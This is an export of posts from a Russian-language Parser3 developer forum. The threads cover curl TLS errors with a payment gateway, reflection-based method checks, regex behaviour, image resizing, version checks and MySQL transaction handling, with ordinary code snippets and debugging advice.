* Connected to 3dsec.sberbank.ru () port 443 (#0)\
* Initializing NSS with certpath: sql:/etc/pki/nssdb\
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt\
  CApath: none\
* SSL connection using TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\
* Server certificate:\
*       subject: CN=3dsec.sberbank.ru,OU=UTSiT,O=Sberbank of Russia,L=Moscow,ST=Moscow,C=RU\
*       start date: Dec 02 00:00:00 2015 GMT\
*       expire date: Jan 30 23:59:59 2018 GMT\
*       common name: 3dsec.sberbank.ru\
*       issuer: CN=thawte SSL CA - G2,O=\"thawte, Inc.\",C=US\
> GET /payment/rest/register.do?userName=user&password=pwd&orderNumber=10&amount=100 HTTP/1.1\
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2\
> Host: 3dsec.sberbank.ru\
> Accept: */*\
>\
< HTTP/1.1 200 OK\
< Server: nginx/1.10.1\
< Date: Fri, 23 Sep 2016 16:24:46 GMT\
< Content-Type: text/plain;charset=UTF-8\
< Transfer-Encoding: chunked\
< Connection: keep-alive\
<\
* Connection #0 to host 3dsec.sberbank.ru left intact\
* Closing connection #0\
{\"errorCode\":\"4\",\"errorMessage\":\"URL возврата не может быть пуст\"}\
[/code]"
"83751","Очень похоже на принудительное переключение на [url=https://www.paypal.com/webapps/mpp/ssl-security-update]TLS вместо SSL 3.0[/url].\
В curl есть опция [url=https://curl.haxx.se/libcurl/c/CURLOPT_SSLVERSION.html]CURLOPT_SSLVERSION[/url], но Парсер её пока не поддерживает."
"83752","Параметр $.stderr и посмотрите лог"
"83754","Патчик:\
\
[code]\
Index: curl.C\
===================================================================\
RCS file: /parser3project/parser3/src/classes/curl.C,v\
retrieving revision 1.41\
diff -u -r1.41 curl.C\
--- curl.C	3 Aug 2016 20:35:36 -0000	1.41\
+++ curl.C	23 Sep 2016 18:44:30 -0000\
@@ -276,6 +276,7 @@\
 		CURL_OPT(CURL_INT, SSL_VERIFYHOST);\
 		CURL_OPT(CURL_STRING, SSL_CIPHER_LIST);\
 		CURL_OPT(CURL_INT, SSL_SESSIONID_CACHE);\
+		CURL_OPT(CURL_INT, SSLVERSION);\
\
 		PARSER_OPT(PARSER_LIBRARY, \"library\");\
 		PARSER_OPT(PARSER_NAME, \"name\");\
[/code]\
\
И пример с кодами версий. Поля enum нумеруются с нуля:\
\
[code]\
@doc[]\
enum {\
  CURL_SSLVERSION_DEFAULT, // 0\
  CURL_SSLVERSION_TLSv1, // 1  TLS 1.x\
  CURL_SSLVERSION_SSLv2, // 2\
  CURL_SSLVERSION_SSLv3, // 3\
  CURL_SSLVERSION_TLSv1_0, // 4\
  CURL_SSLVERSION_TLSv1_1, // 5\
  CURL_SSLVERSION_TLSv1_2, // 6\
\
  CURL_SSLVERSION_LAST /* never use, keep last */\
}\
\
@main[]\
  $f[^curl:load[\
    $.url[https://google.com/]\
    $.stderr[./curl_ssl_ver.log]\
    $.verbose(1)\
    $.sslversion(1)\
  ]]\
[/code]"
"83755","Под какой ОС дело происходит?\
\
В Win 7 вижу такую же ошибку.\
Но там curl старый — 7.26.0.0.\
(Обновляя его, проклял всё на свете и оставил старый).\
\
Под OS X, где установлен свежий curl проблемы нет, соединение устанавливается без указания версий протокола."
"83756","С патчем опция устанавливается (хотя, под win при $.stderr[…] $.verbose(1) лог не пишется — файл в 0 байт), но обсуждаемому соединению это не помогает.\
Видимо, нужна актуальная версия curl с поддержкой TLS."
"83759","> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2\
\
http://www.parser.ru/forum/?id=83750\
\
\
Другое дело, что консольный курл работает. Так что я бы на его месте попробовал собрать с патчиком и принудительно запустить с TLS."
"83760","Справочно - у меня ваш код работает.\
\
status:200\
{\"errorCode\":\"5\",\"errorMessage\":\"Доступ запрещён\"}\
\
Debian 8.5 (stable), штатный curl:\
\
curl 7.38.0 (x86_64-pc-linux-gnu) libcurl/7.38.0 OpenSSL/1.0.1t zlib/1.2.8 libidn/1.29 libssh2/1.4.3 librtmp/2.3"
"83761","Как применить этот патчик?"
"83762","И плсмотреть отладочный вывод с verbose и stderr."
"83764","С обновлением curl возникли проблемы, и пока их решаю.\
\
Так, как применить вышеуказанный патчик?"
"83765","Потом либо воспользоваться программой patch -u или тупо вставить одну строчку в файл curl.C и собрать Парсер заново."
"83766","Ну и в результирующий хеш теперь добавляется имя метода."
"83767","Добрался до задачи и возник вопрос:  \"не работает если методы существуют в виде ссылок\" - это на самом деле означает, что у объекта есть свойство типа method-junction? Мне кажется, что это далеко не синоним \"наличия метода у объекта\" - этот method-junction вполне может быть и от другого объекта. То есть предлагаемая конструкция:\
\
[code]$def(^reflection:is[$method;junction;$object] || ^reflection:method[$object;$method] is junction)[/code]\
\
вполне корректна. Хотя мне кажется в данном случае ее можно заменить на \
\
[code]$def($object.$method is junction || $object.CLASS.$method is junction)[/code]\
\
Первую часть можно заменить, поскольку по формулировке задачи нас не интересует code-junction (да и класть его в поле объекта странно, он перестанет работать при выходе из метода).\
\
Вторую часть можно заменить, поскольку мы не собираемся вызывать этот метод, а значит правильный self нас не интересует."
"83768","[quote]Добрался до задачи и возник вопрос: \"не работает если методы существуют в виде ссылок\" - это на самом деле означает, что у объекта есть свойство типа method-junction? Мне кажется, что это далеко не синоним \"наличия метода у объекта\" - этот method-junction вполне может быть и от другого объекта.[/quote]\
\
В контексте задачи проверки интерфейса нам всё равно метод это, или junction-метод.\
Нам нужно знать — есть такой метод и можно ли его позвать.\
\
Потому конструкция\
[code]$def($object.$method is junction || $object.CLASS.$method is junction)[/code]\
не подходит.\
\
[code]@main[]\
$test[^test::create[]]\
\
random: ^if(^has[$test;^math:uid64[]])[y;n]<br/>\
foreach: ^if(^has[$test;foreach])[y;n]<br/>\
\
@has[object;method]\
#$result(^reflection:is[$method;junction;$test])\
$result($object.$method is junction || $object.CLASS.$method is junction)\
\
\
@CLASS\
test\
\
@create[data]\
$self.data[^hash::create[$data]]\
$self.foreach[$seld.data.foreach]\
\
@GET_DEFAULT[]\
$result[][/code]"
"83769","Если переделать этот код на правильный, то есть вместо \
\
[code]$self.foreach[$seld.data.foreach][/code]\
\
написать \
\
[code]$self.foreach[^reflection:method[$self.data;foreach]][/code]\
\
то он вполне себе работает (если я конечно правильно понял, какой ожидается результат)."
"83770","У меня так и делается, а в примере написал некорректно.\
\
Потестирую подробнее, сталкивался с ворохом интересных ошибок при проверке наличия метода.\
Правда, именно через @reflection:method[], предложенный вариант может и подойти."
"83772","[code]@main[]\
# column not found\
table: ^if(^has[^table::create{column};foreach])[y;n]<br/>\
\
# element can not be fetched from string\
string: ^if(^has[123;foreach])[y;n]<br/>\
\
# reading of invalid field\
regex: ^if(^has[^regex::create[.+];foreach])[y;n]<br/>\
console: ^if(^has[$console:CLASS;foreach])[y;n]<br/>\
\
@has[object;method]\
$result($object.$method is junction || $object.CLASS.$method is junction)[/code]"
"83773","Гм, не думал, что планируется вызывать этот метод для совсем уж произвольных типов. :) Тогда например так. Или завести хеш с исключениями, но это вероятно медленнее.\
\
[code]@has[object;method]\
^try{\
	$result($object.CLASS.$method is junction || $object.$method is junction)\
}{\
	$result(false)\
	$exception.handled(true)\
}[/code]"
"83774","[code]@is[object;type;context]\
# $object    string\
# $type      string\
# [$context] junction\
#\
# $result  bool\
\
# Проверяет имеет ли указанный по имени объект заданный тип.\
\
^if($context is void){\
	$context[$caller.self]\
}\
\
$result(false)\
\
$methods[^reflection:methods[$context.CLASS_NAME]]\
\
^try{\
	$result(\
		(\
			^methods.contains[$object]\
			&& ^reflection:method[$context;$object] is $type\
		)\
		|| (\
			^reflection:is[$object;$type;$context]\
			&& $context.$object is $type\
		)\
	)\
}{\
	$exception.handled(\
		$exception.type eq 'parser.runtime'\
		&& (\
# 			ошибка при проверке string\
			^exception.comment.pos[element can not be fetched from string] > -1\
			|| ^exception.comment.pos[it has no elements] > -1\
# 			ошибка при проверке таблицы\
			|| ^exception.comment.pos[column not found] > -1\
# 			ошибка при проверке regex и console\
			|| ^exception.comment.pos[reading of invalid field] > -1\
		)\
	)\
}[/code]\
\
Работает, конечно.\
Но это я называю отсутствием нормального способа."
"83775","^reflection:methods - на мой взляд слишком дорогая операция, чтобы вызывать ее из @is (каламбур однако).\
\
[quote]Но это я называю отсутствием нормального способа.[/quote]\
\
Я бы это назвал мутным решением мутной задачи. Зачем писать код, который пытается достать элементы из консоли?"
"83776","[quote]^reflection:methods - на мой взляд слишком дорогая операция, чтобы вызывать ее из @is (каламбур однако).[/quote]\
\
Конечно.\
Это костыль из-за исключения в новом reflection:method, не успел его убрать.\
Вместо methods был и будет reflection:method.\
\
[quote]Зачем писать код, который пытается достать элементы из консоли?[/quote]\
\
Это часть класса по работе с интерфейсами.\
Задача кристально ясная: выяснить имеет ли произвольный объект некий метод — можно ли использовать интерфейс независимо от типа / класса.\
\
Такое используется, например, в классе визуализации.\
Где может прийти всё, что угодно.\
\
Если мои объекты поддерживают foreach, то я могу их выводить как хеши.\
\
$console, конечно, странный вариант.\
Насколько помню, столкнулся с необходимостью проверять его при работе в режиме интерпретатора скриптов.\
\
Сам метод — прослойка, по отдельности не используется и может быть заменён простой проверкой наличия метода, без извлечения метода и его проверки на тип.\
Но эти же ошибки получаем и при предложенной проверке наличия метода."
"83777","[quote]Задача кристально ясная: выяснить имеет ли произвольный объект некий метод — можно ли использовать интерфейс независимо от типа / класса.[/quote]\
\
Я продолжаю считать, что свойство типа method-junction некорректно называть методом. Вообще в случае junction, которые могут быть только в объектах и хешах, можно использовать ^reflection:field, то есть работающая-с-чем-угодно реализация вероятно должна выглядеть так:\
\
[code]@has[object;method]\
$result(^reflection:method[$object;$method] is junction || ^reflection:field[$object;$method] is junction)\
[/code]\
\
:)"
"83778","[quote]работающая-с-чем-угодно реализация вероятно должна выглядеть так[/quote]\
\
Да, выглядит вполне рабочим.\
Спасибо, потестирую на своих задачах с интерфейсами."
"83779","http://www.parser.ru/lib/debug/"
"83780","Страницы «[url=http://www.parser.ru/_/Debug/dstop.html]Результаты работы метода[/url]» и «[url=http://www.parser.ru/_/Debug/dstop.html#hide%3D.%20show%3D%5E(object%7Cclass)%5B0-9%5D]команды в хеше[/url]» пусты."
"83781","Проверка isDeveloper работает. :) Fixed."
"83782","Влалек - респект!"
"83785","Интерфейс тот же, но в реализации визуально общих кусков кода не наблюдается."
"83786","Ремикс значит. Перепевка )"
"83787","В целом нормальный сайт.\
Имхо не хватает современного фронтента с системой сборки и компонентным подходом.\
Ну и в сторону svg посмотрите. Такие картинки и лого легче и лучше векторами сделать\
\
Не смотря на то что в новостях написано \"Появился SSL-сертификат и теперь сайт работает и через HTTPS-протокол.\", постоянно сваливается в незащищенное соединение. см. http://take.ms/vkAjI\
\
Иконку https://province35.com/style/img/favicons/fav.png -> https://province35.com/favicon.ico\
\
404 страница оформлена как полагается, а как на счет других страниц с ошибками. например https://province35.com/style/ ?"
"83790","[code]\
########################################\
@hyphenInsert[text][locals]\
$hyp[&shy^;]\
$A[а-яё]\
$G[аеёиоуыэюя]\
$S[бвгджзклмнпрстфхцчшщ]\
$X[йъь]\
$result[$text]\
$result[^result.match[([$X])([$A][$A])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$G][$S][$S])([$S][$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$G][$S][$S])([$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$G][$S])([$S][$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$S][$G])([$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$G][$S])([$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$S][$G])([$G][$A])][ig]{${match.1}${hyp}$match.2}]\
### End @hyphenInsert\
[/code]"
"83792","Благодаря allex_by в [url=\"http://www.parser.ru/utils/\"]инструментах[/url] появился плагин parser3 для редактора IntelliJ IDEA 16."
"83793","Добрый день. Делаю preview картинок с помощью ImageMagick. В библиотеке (http://www.parser.ru/lib/img/) есть пример ImageResize, упрощающий изменение размеров изображений. На форуме Миша его кидал.\
\
Вопрос: Как-то некорректно режет картинки метод ^resize[] класса ImageResize. Если исходная картинка имеет ширину меньше чем высоту, то метод почему-то меняет местами переданные параметры sWidth и sHeight. И за место желаемой превьюхи в 345x130, мы получаем 130x345. Для картинок имеющих ширину большую чем высоты, метод отрабатывает отлично. Parser/3.4.4 (compiled on x86_64-unknown-linux-gnu)\
\
Привожу код вызова метода (код немного упростил):\
\
[code]#==Попробуем создать превью\
# $srcOriginal[/content/pic/image.jpg]\
# $srcFinish[/preview/logopost/pic/image.jpg]\
# $width(345)\
# $height(130)\
^resize[$srcOriginal;$srcFinish;$width;$height;$.type[smart]]\
\
\
# Метод ресайза превью с учетом пропорциональности\
@resize[sFileSrc;sFileDest;sWidth;sHeight;hParams]\
\
$fMeasure[^image::measure[$sFileSrc]]\
\
$hDestSize[\
	$.iWidth(^sWidth.int(0))\
	$.iHeight(^sHeight.int(0))\
]\
\
$hParams[^hash::create[$hParams]]\
^switch[$hParams.type]{\
	^case[as-is]{\
		$bKeepRatio(false)\
		$w[$hDestSize.iWidth]\
		$h[$hDestSize.iHeight]\
	}\
	^case[smart]{\
#		Что то ну так в этой ветке		\
		$bKeepRatio(false)\
		^if($fMeasure.width>$fMeasure.height){\
			$iSourceBig($fMeasure.width)\
			$iSourceSmall($fMeasure.height)\
			$hTargetSize[\
				$.iWidth($hDestSize.iWidth)\
				$.iHeight($hDestSize.iHeight)\
			]\
		}{\
			$iSourceBig($fMeasure.height)\
			$iSourceSmall($fMeasure.width)\
			$hTargetSize[\
				$.iWidth($hDestSize.iHeight)\
				$.iHeight($hDestSize.iWidth)\
			]\
		}\
		^if($hDestSize.iWidth>$hDestSize.iHeight){\
			$iTargetBig($hDestSize.iWidth)\
			$iTargetSmall($hDestSize.iHeight)\
		}{\
			$iTargetBig($hDestSize.iHeight)\
			$iTargetSmall($hDestSize.iWidth)\
		}\
\
		$hRatio[\
			$.dBig($iSourceBig/$iTargetBig)\
			$.dSmall($iSourceSmall/$iTargetSmall)\
		]\
		^if($hRatio.dBig > $hRatio.dSmall){\
			$w[^math:floor($fMeasure.width/$hRatio.dSmall+0.5)]\
			$h[^math:floor($fMeasure.height/$hRatio.dSmall+0.5)]\
		}{\
			$w[^math:floor($fMeasure.width/$hRatio.dBig+0.5)]\
			$h[^math:floor($fMeasure.height/$hRatio.dBig+0.5)]\
		}\
		$iX(0)\
		$iY(0)\
		^if($w > $hTargetSize.iWidth){\
			$iX(($w-$hTargetSize.iWidth)/2)\
		}\
		^if($h > $hTargetSize.iHeight){\
			$iY(($h-$hTargetSize.iHeight)/2)\
		}\
	}\
	^case[DEFAULT;ratio]{\
		$bKeepRatio(true)\
		$w[$hDestSize.iWidth]\
		$h[$hDestSize.iHeight]\
	}\
}\
\
^try{\
	^if(^imMag.resize[$sFileSrc;$sFileDest;$w;$h;^hash::create[$hParams] $.sResizeType[decr] $.bKeepRatio($bKeepRatio)]){\
		^throw[$sClassName;resize;Resizing the image is failed.]\
	}\
	^if(($iX || $iY) && ^imMag.crop[$sFileDest;;$iX;$iY;$hTargetSize.iWidth;$hTargetSize.iHeight;$hParams]){\
		^throw[$sClassName;resize;Cropping the image is failed.]\
	}\
}{\
#	bad\
}\
\
$response:body[^file::load[binary;$srcFinish]][/code]"
"83795","Не пойму почему превью получается не в соответствии с переданными шириной и высотой."
"83796","[code]\
$test[somestring]\
\
^dstop[^test.match[(string)][i]] ^rem[работает]\
^dstop[^test.match[(string)+][i]] ^rem[работает]\
^dstop[^test.match[(string)?][i]] ^rem[в таблице только пустые поля]\
^dstop[^test.match[(string){0}][i]] ^rem[в таблице только пустые поля]\
^dstop[^test.match[(string){0,1}][i]] ^rem[в таблице только пустые поля]\
^dstop[^test.match[(string){1,2}][i]] ^rem[а так работает]\
[/code]\
\
Т.е. если группа может отсутствовать ее нет в результирующей таблице, чяднт?\
Пробовал 3.4.3 и 3.4.4"
"83797","Посмотрите в песочнице https://regex101.com/ как ведут себя ваши выражения. \
\
Обратите внимание как меняется поведение выражений если убрать или добавить флаг g."
"83798","g'шечка потерялась в момент написания сообщения, я могу сюда скопипастить пример из первого сообщение с ключем gi, поведение как раз то о котором я и писал. Понятно что без g срабатывает регулярка матчащая ничего на первое же ничего в строке.\
\
Ведут же себя мои выражения так как я того и хочу, https://yadi.sk/i/JXCs9ZTZwsRbM группа есть, но в парсеровом table её значение отсутствует. \
\
Еще раз, проверка somestring на регулярке /(string)?/gi только в случае парсера в результирующую таблицу не выдается значение совпавшей группы В javascript php и ruby возвращается ожидаемое ['', '', '', '', 'string', '']"
"83799","И говорит правильно.\
\
Если мы хотим сымитировать поведение /g как в Перле то надо делать некое хитрое действие, если pcre_exec вернул нам для такого выражения «пустое совпадение». Пример из кода ПХП:\
\
[code]\
do {\
                /* Execute the regular expression. */\
                count = pcre_exec(pce->re, extra, subject, subject_len, start_offset,\
                                                  exoptions|g_notempty, offsets, size_offsets);\
\
...\
		/* If something has matched */\
		if (count > 0) {\
\
...\
		} else if (count == PCRE_ERROR_NOMATCH) {\
			/* If we previously set PCRE_NOTEMPTY_ATSTART after a null match,\
			   this is not necessarily the end. We need to advance\
			   the start offset, and continue. Fudge the offset values\
			   to achieve this, unless we're already at the end of the string. */\
			if (g_notempty != 0 && start_offset < subject_len) {\
				int unit_len = calculate_unit_length(pce, subject + start_offset);\
\
				offsets[0] = start_offset;\
				offsets[1] = start_offset + unit_len;\
			} else\
				break;\
		} else {\
			pcre_handle_exec_error(count TSRMLS_CC);\
			break;\
		}\
\
                /* If we have matched an empty string, mimic what Perl's /g options does.\
                   This turns out to be rather cunning. First we set PCRE_NOTEMPTY_ATSTART and try\
                   the match again at the same point. If this fails (picked up above) we\
                   advance to the next character. */\
                g_notempty = (offsets[1] == offsets[0])? PCRE_NOTEMPTY_ATSTART | PCRE_ANCHORED : 0;\
\
                /* Advance to the position right after the last full match */\
                start_offset = offsets[1];\
        } while (global);\
[/code]\
\
Тут лучше подождать moko — пусть он решит надо ли это добавить в Парсер. Есть подозрение, что это может поломать совместимость со старым кодом. :)"
"83801","Чтобы можно было без лишних движений с регулярками сравнить две версии парсера?"
"83802","Есть $env:PARSER_VERSION. Что хочется от PARSER_BUILD не совсем понятно, никакой корреляции между датой сборки и исходным кодом нет. Еще в unix можно сказать ident parser3.cgi, и вот там уже по каждому файлу исходного кода будет показана его версия и дата коммита."
"83803","идея в использовании PARSER_BUILD была такова: допустим, мы знаем билд опубликованной версии 3.4.4 (вы его можете публиковать вместе с информацией о версии парсера, ну и как $env:PARSER_BUILD в программе он тоже доступен); пусть он будет равен 300. тогда в коде можно написать:\
\
^if($env:PARSER_BUILD < 300){\
# старые парсеры не знают дат ранее 1970 г.\
$dateMin[1970-01-02]\
}{\
# в 3.4.4 даты потеряли всякое ограничение \
$dateMin[1900-01-01]\
}\
\
предложенный вариант, по идее, удобнее, чем вариант через создание метода, сравнивающего строки версий:\
\
^if(^lt[$env:PARSER_VERSION;\"3.4.4\"]){\
$dateMin[1970-01-02]\
}{\
$dateMin[1900-01-01]\
}\
\
с числами всё таки по-удобнее..."
"83804","Если не стоит задача находить разницу в beta версиях, то PARSER_VERSION куда очевиднее -  попробуй пойми что за 300. \
\
[code]^if(^env:PARSER_VERSION.left(5) lt \"3.4.4\"){\
...\
}\
[/code]\
\
Разве что может стоит добавить PARSER_VERSION_NUMBER, чтобы left не писать. И да, мы не будем делать версий .10, в частности чтобы было удобнее сравнивать как строки."
"83805","[code]\
  ^try{\
    $dateMin[^date::create[1900-01-02]]\
  }{\
     $exception.handled(true)\
     $dateMin[^date::create[1970-01-02]]\
   }\
[/code]\
\
Мест, где это важно в Парсере исчезающе мало и такой метод проверки надежнее, чем проверка версии."
"83806","Спасибо, проблему решил"
"83808","Ищу программиста-фрилансера, со знанием языка программирования \"parser\". Кому интересна подработка, пишите на почту guseva32@yandex.ru, либо оставьте данные для связи с вами."
"83809","Продолжаю развивать деревья из того, что Вы мне дали в пример.\
Но кое что работает не-работая, вот код, который работает, но при его выполнении происходит загрузка страницы, которая заканчивается ошибкой.\
Моя задача понять почему все срабатывает приводя к ошибке.\
Ошибка:\
[quote](309:23): 'ROLLBACK' MySQL server has gone away [sql.execute][/quote]\
Код который приводит к ошибке, но при этом выполняет необходимые действия:\
[code]@move[dsc;pID]\
$options[^hash::create[$options]]\
\
$dsc(^dsc.int(0))\
$pID(^pID.int(0))\
\
$descendant[^self.descendants($dsc)[$.with-self(true)]]\
\
^if($descendant){\
	^self._transaction{\
		$ancestor[^self.ancestors($dsc)[$.with-self(false)]]\
		$parent_ancestor[^self.ancestors($pID)[$.with-self(true)]]\
\
		^self._unlink[$descendant;$ancestor]\
		#^self._unlink срабатывает, ^self._link медленно работает приводя к ошибке\
		^self._link[$descendant;$parent_ancestor]\
	}\
}[/code]"
"83810","http://piwik.org/faq/troubleshooting/faq_183/\
\
Странно что всё работает, rollback по идее должен откатывать последнюю транзакцию\
А что у вас по координатам (309:23)?"
"83811","После каждой выборки узлов в переменную добавьте:\
[code]^throw[debug;^json:string[$var]][/code]\
и пройдите по шагам до unlink, глядя на данные глазами: правильно ли извлекаются узлы.\
\
Если вы выглядит нормально, подсадите жука в запрос @_inserLinks[] и посмотрите, в каком виде он формируется:\
[code]@_inserLinks[links]\
# Вставляет связи узлов.\
\
$result[]\
\
^void:sql{\
debug	INSERT INTO $self.refs_table\
	(node_id, ancestor_id, distance)\
	VALUES\
	^links.menu{\
		($links.node_id, $links.ancestor_id, $links.distance)\
	}[,]\
}[/code]\
\
Похоже на зацикливание или отваливание по таймауту.\
Какое количество узлов перемещается?"
"83812","Прошелся по всему, всё в порядке, узлы правильно извлекаются и формируются.\
^self._unlink[$descendant;$ancestor] все правильно удаляет.\
^self._link[$descendant;$parent_ancestor] правильно формируется и записывается.\
Вывод только один, отваливается по таймауту.\
Зацикливание нигде не увидел, так как строк для записи не больше, чем нужно и они не дублируются.\
\
Как решить проблему с таймаутом?\
\
Может проблема с очередностью кода?\
\
[code]@hash[fields;options]\
\
@insert[node]\
\
@update[node]\
\
@delete[nodes]\
\
@move[dsc;pID]\
\
@ancestors[nodes;options]\
\
@descendants[nodes;options]\
\
@_link[nodes;to_nodes;options]\
\
@_unlink[nodes;to_nodes;options]\
\
@_transaction[code]\
^connect[$connect_string]{\
	^void:sql{BEGIN}\
	^try{\
		$result[$code]\
\
		^void:sql{COMMIT}\
	}{\
		^void:sql{ROLLBACK}\
	}\
}\
\
@_insertLinks[links]\
\
@_deleteLinks[condition]\
\
@_insertPage[data]\
\
@_updatePage[data;eID]\
\
@_parentField[with_parent]\
\
@_parentTable[with_parent]\
\
@_sqlOptions[options]\
\
@_list[nodes;field]\
[/code]\
\
\
P.S\
Изменил @_transaction на:\
[code]@_transaction[code]\
^connect[$connect_string]{\
		$result[$code]\
}[/code]\
И все стало работать моментально."
"83813","По координатам (309:23) как раз стоит rollback.\
[code]@_transaction[code]\
^connect[$connect_string]{\
	^void:sql{BEGIN}\
	^try{\
		$result[$code]\
\
		^void:sql{COMMIT}\
	}{\
		#309 строка\
		^void:sql{ROLLBACK}\
	}\
}[/code]"
"83814","А зачем вы в ручную COMMIT и ROLLBACK посылаете? Емнип, парсер это делает сам автоматически. Видимо получается двойной COMMIT и на этом всё падает, но это гипотеза, гуру по драйверу sql подскажут точнее"
"83815","Убрав транзакцию вы перешли на работу с деревьями наугад.\
Если в процессе отсоединения узлов, генерации новых связей и их вставкой произойдёт ошибка, или параллельный запрос изменит дерево — вы получите испорченное дерево.\
\
Это не решение проблемы.\
\
Очевидно, что в запросе происходи исключение, которое обрабатывается в try, что приводит к откату транзакции.\
Странно, что вы его не видите, ведь его перехвата нет, только откат.\
\
Типы таблиц у вас InnoDB?\
\
Вдогонку: включите в MySQL логирование запросов и посмотрите что происходит.\
Для версии 5.6+ так:\
[code][mysqld]\
…\
general_log = on\
general_log_file = /tmp/queries.log\
log_output = 'file'[/code]\
в конфигурационном файле MySQL или\
[code]SET global general_log = on;\
SET global general_log_file='/tmp/queries.log';\
SET global log_output = 'file';[/code]\
в виде запросов."
"83816","[quote]А зачем вы в ручную COMMIT и ROLLBACK посылаете?[/quote]\
\
Потому что хотим совершить локальную транзакцию вручную.\
\
[quote]Емнип, парсер это делает сам автоматически.[/quote]\
\
В autocommit-режиме Парсер сделает commit в конце кода connect'а.\
А нам нужно, чтобы commit или rollback произошёл сразу по выполнении действий с узлами.\
\
Поэтому мы для одной последовательности команд переходим в ручной режим — отправляем begin, а по завершении транзакции commit'ом возвращаемся в autocommit-режим.\
\
[quote]Видимо получается двойной COMMIT и на этом всё падает[/quote]\
\
Нет, двойного commit'а не получается."
"83817","хотел предложить, чтобы # считалась комментарием не только, если она в первой позиции, но и если перед ней стоят несколько пробелов/табуляций.\
\
причина: при сдвигании текстового блока в редакторах \"прихватываются\" и строки с комментариями, итогом перед \"#\" появляются пробелы/табуляции. если этого не заметить (например при большом размере сдвигаемого блока) - могут появиться неприятные проблемы с \"раскомментариванием\" закомментированных строк.\
\
с другой стороны, представить себе ситуацию, когда строка с \"#\" и пробелами/табуляциями перед \"#\" будет осмысленной строкой данных -- можно (например, при инициализации таблицы), но, на мой взгляд, это очень редкая ситуация. которую к тому же, можно решить через указание кода символа \"#\" (по аналогии с переводом каретки как ^#0A)\
\
для обеспечения совместимости со старыми версиями - включение предложенной фичи можно осуществлять из парсерного auto.p -- т.о. кто не захочет, тот будет жить с комментариями только с первой позиции."
"83818","[quote]В autocommit-режиме [b]Парсер сделает commit в конце кода connect'а[/b].\
А нам нужно, чтобы commit или rollback произошёл сразу по выполнении действий с узлами.[/quote]\
\
Нет ну если бы я не видел в данном методе коннекта:\
\
[code]@_transaction[code]\
^connect[$connect_string]{\
	^void:sql{BEGIN}\
	^try{\
		$result[$code]\
\
		^void:sql{COMMIT}\
	}{\
		#309 строка\
		^void:sql{ROLLBACK}\
	}\
}[/code]\
\
то всё было бы яснее. Но коннект тут есть. С другой стороны парсер кэширует соединение и как это стыкуется с автоматическим begin/commit не знаю, потому и сослался на гуру драйвера )"
"83819","По аналогии с получением всех полей формы $form:fields - хотелось бы иметь возможность получить все \"глобальные\" переменные, \"упавшие\" в $MAIN.\
\
причина: при написании кода проекта разного уровня программистами в разное время, возникает ситуация, когда что-то нет-нет да и \"упадет\" в $MAIN:...\
\
сейчас проконтролировать такую ситуацию возможно только путём внимательного чтения всего используемого кода. что, безусловно, полезно, но очень медленно."
"83820","[code]$fields[^json:parse[^json:string[$MAIN:CLASS]]][/code]\
\
А в 3.4.5 и того проще:\
[code]$fields[^hash::create[$MAIN:CLASS]][/code]"
"83821","Коннект будет использован один, если строка соединения та же и он не вложен в другой коннект."
"83823","Я знаю, я не об этом. Какая из этих схем происходит на самом деле с учетом кэширования соединения?\
\
1. [code]^connect[$str]{\
# auto-BEGIN\
\
... запросы 1 ...\
\
# auto-COMMIT\
}\
\
^connect[$str]{\
# auto-BEGIN\
\
... запросы 2...\
\
# auto-COMMIT\
}\
\
[/code]\
\
2.\
\
[code]^connect[$str]{\
# auto-BEGIN\
\
... запросы 1 ...\
\
}\
\
^connect[$str]{\
\
... запросы 2...\
\
# auto-COMMIT\
}[/code]\
\
Если первая, что мне кажется более вероятным, то в этом методе:\
\
[code]@_transaction[code]\
^connect[$connect_string]{\
# auto-BEGIN\
	^void:sql{BEGIN}\
	^try{\
		$result[$code]\
\
		^void:sql{COMMIT}\
	}{\
		#309 строка\
		^void:sql{ROLLBACK}\
	}\
# auto-COMMIT/ROLLBACK\
}\
[/code]\
\
наличие ручных BEGIN и COMMIT/ROLLBACK непонятно. Зачем, если код завернут в connect?"
"83824","[quote]auto-BEGIN[/quote]\
\
Никакого автоматического begin нет, а автоматический commit будет если в пределах соединения инициирована транзакция.\
Но завершится она в конце коннекта.\
\
В случае конкретного метода особой разницы нет, транзакция завершится.\
Но так яснее видно то, что происходит.\
\
В данном случае если весь код обёрнут в connect для транзакции будет инициировано отдельное соединение:\
[code]Connect	root@localhost on test\
2 Query	SET CHARACTER SET utf8\
2 Query	SELECT *\
FROM table\
WHERE id = 1\
3 Connect	root@localhost on test\
3 Query	SET CHARACTER SET utf8\
3 Query	BEGIN\
3 Query	SELECT *\
FROM table\
WHERE id = 1\
FOR UPDATE\
3 Query	COMMIT\
2 Quit	\
3 Quit	\
[/code]\
\
Это избыточно и от connect'а в методе можно отказаться, но к указанной в исходном сообщении ошибке это приводить не может."
"83825","Грубое описание того, что происходит.\
\
Оператор connect берет соединение из менеджера sql-драйверов. Выполняет код. Вызывает метод commit соединения или rollback, если в коде всплыло исключение и «закрывает» соединение методом close. Реальное закрытие соединения не происходит — оно кешируется в менеджере. \
\
Метод commit в драйвере мускуля дает sql-запрос «commit;» только если в параметрах драйвера установлен параметр autocommit=0. \
\
Никакого begin не делается, иначе это бы автоматом отключило autocommit и начало новую транзакцию, что тупо покрушило бы наш код, если бы мы уже вручную начали транзакцию — вложенных транзакций в мускуле нет.\
\
Поэтому вся работа с транзакциями должна быть сделана вручную, т.е. явно вызваны begin и commit. Использовать параметр autocommit=0 в строке соединения не нужно никогда. :)"
"83826","[quote]при сдвигании текстового блока в редакторах \"прихватываются\" и строки с комментариями, итогом перед \"#\" появляются пробелы/табуляции. если этого не заметить (например при большом размере сдвигаемого блока) - могут появиться неприятные проблемы с \"раскомментариванием\" закомментированных строк.[/quote]\
\
